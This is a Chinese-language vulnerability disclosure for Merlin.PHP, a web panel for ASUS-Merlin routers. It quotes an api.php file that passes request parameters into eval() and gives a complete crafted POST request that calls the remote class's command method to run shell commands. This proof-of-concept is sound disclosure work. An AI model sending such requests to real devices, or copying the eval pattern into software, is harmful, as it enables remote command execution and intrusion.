Merlin.php
面向 ASUS﹣MERLIN 的 SS Web 管理面板。只支持 http://koolshare.io 下的固件版本。
github鏈接:https://github.com/qoli/Merlin.PHP
在api.php中使用了eval函數,其他幾個參數可控制導致任意代碼執行。
代碼如下:
<?php
set_include_path(get_include_path() . PATH_SEPARATOR . 'library/phpseclib');
require_once 'library/MainFunction.php';
require_once 'Net/SSH2.php';
require_once 'library/Requests.php';
require_once 'library/AppFunction.php';
Requests::register_autoloader();
$merlin_php = new merlin_php();
if (!isset($_POST)) {
$merlin_php -> _export("no input");
exit;
}
$o = _GET("class",'unknow');
$f = _GET('function','unknow');
if ($o == 'unknow') {
$merlin_php -> _export("no input");
exit;
}
if ($f == 'unknow') {
$merlin_php -> _export("function?!");
exit;
}
if (!class_exists($o)) {
$merlin_php -> _export("class is none");
exit;
}
$c = new $o();
$agrs = implode(',',$_POST);
// echo '$c->'."$f($agrs);";
eval('$j = $c->'."$f($agrs);");
echo json_encode($j);
最後能控制的是 eval('$j = $c->'."$f($agrs);");
$j=是一個變量賦值不用管,主要是後面的 $c->$f($agrs); 這裏面的三個參數都可控。
$c是基於$o創建的;
$o是獲取的參數class值 ;
下面是關鍵代碼:
$c = new $o();
$o = _GET("class",'unknow');
$f = _GET('function','unknow');
$agrs = implode(',',$_POST);
可以看出$o是一個對象,$c是$o對象的實例化,$f是對象的成員方法,$agrs是post傳入的參數,也就是成員方法的參數。
隨便找了一個類,AppFunction.php 中的 remote 類,看了下里面有個執行命令的方法 command;
public function command($command = 'whoami')
{
return $this->ssh->exec($command);
}
構造下面請求:
POST /6/api.php?function=command&class=remote HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
cc='ls'
跟蹤執行流程,實際是執行了下面的代碼,導致任意代碼執行漏洞。
$c = new remote;
$j = $c->command('ls');
github issue:https://github.com/qoli/Merlin.PHP/issues/27